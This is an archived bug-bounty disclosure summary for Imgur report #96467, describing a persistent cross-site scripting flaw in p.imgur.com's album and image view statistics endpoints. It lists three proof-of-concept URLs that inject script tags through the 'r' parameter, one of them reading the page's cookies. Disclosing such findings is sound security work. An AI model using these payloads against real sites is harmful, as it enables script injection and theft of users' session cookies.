Imgur · Report #96467
Persistent XSS in https://p.imgur.com/albumview.gif and http://p.imgur.com/imageview.gif / post statistics
Validstatus
1upvotes
9 Dec 2015disclosed
Summary
In p.imgur.com/albumview.gif, a post paramater could be set containing html and javascript. This was not escaped properly and the code would be executed.
The reporter used the following example URLs as a proof of concept
https://p.imgur.com/albumview.gif?a=F78FO&r=https://community.imgur.com/<script>alert(2)</script>
http://p.imgur.com/imageview.gif?a=kCaIJRa&r=https%3A%2F%2Fcommunity.imgur.com/%3Cscript%3Econsole.log%28%27XSS%27,$.cookie%28%29%29%3C/script%3E
https://p.imgur.com/albumview.gif?a=F78FO&r=https://community.imgur.com/"><script>alert(2)</script>
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.